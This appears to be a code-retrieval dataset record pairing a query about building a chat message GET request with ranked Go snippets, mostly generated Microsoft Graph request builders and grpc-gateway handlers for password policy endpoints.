{\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_GetPasswordComplexityPolicy_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_GetPasswordComplexityPolicy_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_GetDefaultPasswordComplexityPolicy_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_GetDefaultPasswordComplexityPolicy_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_GetDefaultPasswordComplexityPolicy_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_CreatePasswordComplexityPolicy_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_CreatePasswordComplexityPolicy_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_CreatePasswordComplexityPolicy_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_UpdatePasswordComplexityPolicy_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_UpdatePasswordComplexityPolicy_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_UpdatePasswordComplexityPolicy_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_ManagementService_RemovePasswordComplexityPolicy_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_RemovePasswordComplexityPolicy_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_RemovePasswordComplexityPolicy_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_GetPasswordAgePolicy_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_GetPasswordAgePolicy_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_GetPasswordAgePolicy_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_GetDefaultPasswordAgePolicy_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_GetDefaultPasswordAgePolicy_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_GetDefaultPasswordAgePolicy_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_CreatePasswordAgePolicy_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_CreatePasswordAgePolicy_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_CreatePasswordAgePolicy_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_UpdatePasswordAgePolicy_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_UpdatePasswordAgePolicy_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_UpdatePasswordAgePolicy_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_ManagementService_RemovePasswordAgePolicy_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_RemovePasswordAgePolicy_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_RemovePasswordAgePolicy_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_GetPasswordLockoutPolicy_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_GetPasswordLockoutPolicy_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_GetPasswordLockoutPolicy_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_GetDefaultPasswordLockoutPolicy_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_GetDefaultPasswordLockoutPolicy_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_GetDefaultPasswordLockoutPolicy_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_CreatePasswordLockoutPolicy_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_CreatePasswordLockoutPolicy_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_CreatePasswordLockoutPolicy_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_UpdatePasswordLockoutPolicy_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_UpdatePasswordLockoutPolicy_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_UpdatePasswordLockoutPolicy_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_ManagementService_RemovePasswordLockoutPolicy_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_RemovePasswordLockoutPolicy_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_RemovePasswordLockoutPolicy_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\treturn nil\n}", "title": "" }, { "docid": "305791331bf511661c95fc7a08b38475", "score": "0.57459474", "text": "func RegisterServer() {\n\t// ESCUCHAR, en un puerto especifico\n\t// hostname = ip, puerto_registro\n\thostname := fmt.Sprintf(\"%s:%d\", addr_node, register_port)\n\tlisten, _ := net.Listen(\"tcp\", hostname)\n\tdefer listen.Close()\n\n\tfor {\n\t\t// aceptar las conexiones\n\t\tconn, _ := listen.Accept()\n\t\tgo HandleRegister(conn)\n\t}\n}", "title": "" }, { "docid": "5047e02137a7625c2df742f0db31ff40", "score": "0.57241815", "text": "func RegisterBinlogServerService(blServer *BinlogServer) {\n\trpcwrap.RegisterAuthenticated(blServer)\n}", "title": "" } ]
e6a2d1ecbf8c69826ceeccc9677b6f96
ToGetRequestInformation retrieve a single message or a message reply in a channel or a chat.
[ { "docid": "29f97e5273a55ea4fee2b391dc9535c3", "score": "0.71722084", "text": "func (m *ItemJoinedTeamsItemPrimaryChannelMessagesChatMessageItemRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *ItemJoinedTeamsItemPrimaryChannelMessagesChatMessageItemRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" } ]
[ { "docid": "07dee0aeb067efc3f90ac5f87fff39c1", "score": "0.73935276", "text": "func (m *ItemTeamDefinitionPrimaryChannelMessagesChatMessageItemRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *ItemTeamDefinitionPrimaryChannelMessagesChatMessageItemRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "2580f0eb2fe38e1f94d91422a2c18a3f", "score": "0.73908067", "text": "func (m *ItemPrimaryChannelMessagesChatMessageItemRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *ItemPrimaryChannelMessagesChatMessageItemRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.urlTemplate\n requestInfo.PathParameters = m.pathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "bc20f56b39c46c7d379b7a72fa1a6181", "score": "0.7131006", "text": "func (m *TeamTemplatesItemDefinitionsItemTeamDefinitionChannelsItemMessagesChatMessageItemRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *TeamTemplatesItemDefinitionsItemTeamDefinitionChannelsItemMessagesChatMessageItemRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "7bf8bde0f276d2f5fb0c38ec9d6249d2", "score": "0.7025827", "text": "func (m *ItemMailFoldersItemChildFoldersItemMessagesItemMentionsMentionItemRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *ItemMailFoldersItemChildFoldersItemMessagesItemMentionsMentionItemRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "9b10a76a98bfbbe1e4455c56bdab0d67", "score": "0.689795", "text": "func (m *ItemThreadsConversationThreadItemRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *ItemThreadsConversationThreadItemRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "efaf2534e428b9c3aab7d0285e99d897", "score": "0.681307", "text": "func (m *DeletedTeamsItemChannelsItemMessagesDeltaRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *DeletedTeamsItemChannelsItemMessagesDeltaRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "40fa41ce5aa569d1a2330b7d14306752", "score": "0.67546153", "text": "func (m *PeopleRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *PeopleRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "9ab1aa2478897e48b278c9b268539e31", "score": "0.6754211", "text": "func (m *ItemThreadsItemPostsItemInReplyToRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *ItemThreadsItemPostsItemInReplyToRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "37180846a1e2a94cc8d885e1c539fad4", "score": "0.6708101", "text": "func (m *ItemChannelsChannelItemRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *ItemChannelsChannelItemRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.urlTemplate\n requestInfo.PathParameters = m.pathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "593bc32dcda7b76a72826a23c75de42f", "score": "0.6679255", "text": "func (m *ItemConversationsItemThreadsItemPostsItemMentionsRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *ItemConversationsItemThreadsItemPostsItemMentionsRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "f5e4bbfc7be1f39612efaeafce903596", "score": "0.66697353", "text": "func (m *ItemMailFoldersRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *ItemMailFoldersRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.urlTemplate\n requestInfo.PathParameters = m.pathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "d499f6a3abbaafa18ec370801f92a085", "score": "0.6533311", "text": "func (m *ServiceAnnouncementRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *ServiceAnnouncementRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "823e46cc22b301bc5c080247f854e015", "score": "0.6528567", "text": "func (m *ManagedTenantsManagedTenantEmailNotificationsRequestBuilder) ToGetRequestInformation(ctx context.Context, 